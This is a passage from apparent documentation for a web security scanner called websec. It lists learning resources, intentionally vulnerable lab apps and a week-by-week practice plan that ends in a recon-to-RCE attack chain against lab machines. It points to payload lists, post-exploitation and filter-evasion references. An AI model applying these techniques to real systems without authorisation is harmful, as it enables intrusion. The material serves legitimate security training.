| MDN Web Docs — HTTP overview | Free reference | Understand HTTP methods, headers, status codes, cookies — the building blocks websec attacks |
| How HTTPS Works (howhttps.works) | Free visual guide | Understand TLS — why traffic looks encrypted and how certificates work |
| OWASP Top 10 (owasp.org/www-project-top-ten) | Free spec | The 10 most critical web vulnerabilities — websec covers all of them |
Step 2: Hands-On Labs (Intentionally Vulnerable Apps)
| Platform / App | Cost | Focus |
|---|---|---|
| PortSwigger Web Security Academy (portswigger.net/web-security) | Free | The best free web security course online. Covers SQLi, XSS, SSRF, XXE, CSRF, IDOR, deserialization. Interactive labs with built-in hints. Run websec against their lab URLs for real practice. |
| DVWA (Damn Vulnerable Web App) | Free / self-hosted | Intentionally vulnerable PHP app. Run locally via Docker: docker run -p 80:80 vulnerables/web-dvwa. Use websec's sqli/xss/dirb against it. |
| HackTheBox (hackthebox.com) | Free tier + paid | Web challenges and machines. Filter by "Web" category. Start with Easy difficulty. |
| TryHackMe (tryhackme.com) | Free tier + paid | Web paths include "OWASP Top 10" and "Web Fundamentals" — structured learning with guided rooms. |
| OWASP WebGoat (github.com/WebGoat/WebGoat) | Free / self-hosted | Explains each vulnerability then lets you exploit it. Good for understanding why each attack works. |
Step 3: Go Deeper — Books and Courses
| Book / Course | Level | Covers |
|---|---|---|
| The Web Application Hacker's Handbook (Stuttard & Pinto) | Intermediate | Comprehensive reference covering all major web vulns. Dated (2011) but foundational. Chapter 9 (SQLi) and 12 (XSS) are still the best explanations anywhere. |
| Real-World Bug Hunting (Yaworski, No Starch Press) | Beginner-Intermediate | Real bug bounty writeups for each vulnerability class. Teaches you to think like a bug hunter. |
| OWASP Testing Guide v4 (owasp.org) | Intermediate | Free PDF — systematic methodology for testing every web vuln. Use it as a checklist alongside websec. |
| Bug Bounty Bootcamp (Vickie Li, No Starch) | Intermediate | Covers how to find and report web vulns on real programs. Excellent chapter on recon. |
Step 4: Reference — While Using websec
| Resource | Use For |
|---|---|
| PayloadsAllTheThings (github.com/swisskyrepo/PayloadsAllTheThings) | Massive payload list for SQLi, XSS, SSRF, XXE, command injection, file inclusion — reference while testing |
| HackTricks (book.hacktricks.xyz) | Cheatsheets and techniques for every type of web attack. Especially good for SQL injection by database type. |
| GTFOBins (gtfobins.github.io) | Unix binaries that can be used for command execution, file read/write — useful for post-exploitation after getting command injection |
| SQLMap cheat sheet | When websec detects SQLi, SQLMap can automate full extraction — understand its flags to control output |
| OWASP XSS Filter Evasion Cheat Sheet | When websec XSS detection fails, this lists every known browser-specific bypass technique |
Practice Path — Using websec + Labs Together
## Recommended practice progression using VANTA + external labs
Week 1: Foundations
Read: OWASP Top 10 (owasp.org) — understand each category at a high level
Lab: DVWA in Docker on your Kali VM
Run: websec against DVWA (http://localhost) — see what it finds automatically
Week 2: SQL Injection Mastery
Study: PortSwigger SQLi labs (portswigger.net/web-security/sql-injection)
Lab: HackTheBox "Unified" machine (has MongoDB injection)
Run: websec sqli on each PortSwigger lab URL
Deep: read "SQL Injection" chapter in Web App Hacker's Handbook
Week 3: XSS
Study: PortSwigger XSS labs — 30+ labs covering reflected, stored, DOM
Lab: DVWA XSS (all difficulty levels)
Run: websec xss_scan on each lab
Deep: try bypassing WAF manually after websec finds the injection point
Week 4: Full Chain
Lab: HackTheBox Easy web machine
Process: recon → dirb → sqli → xss → find credentials → RCE
Use websec for each phase; understand WHAT it's doing, not just THAT it works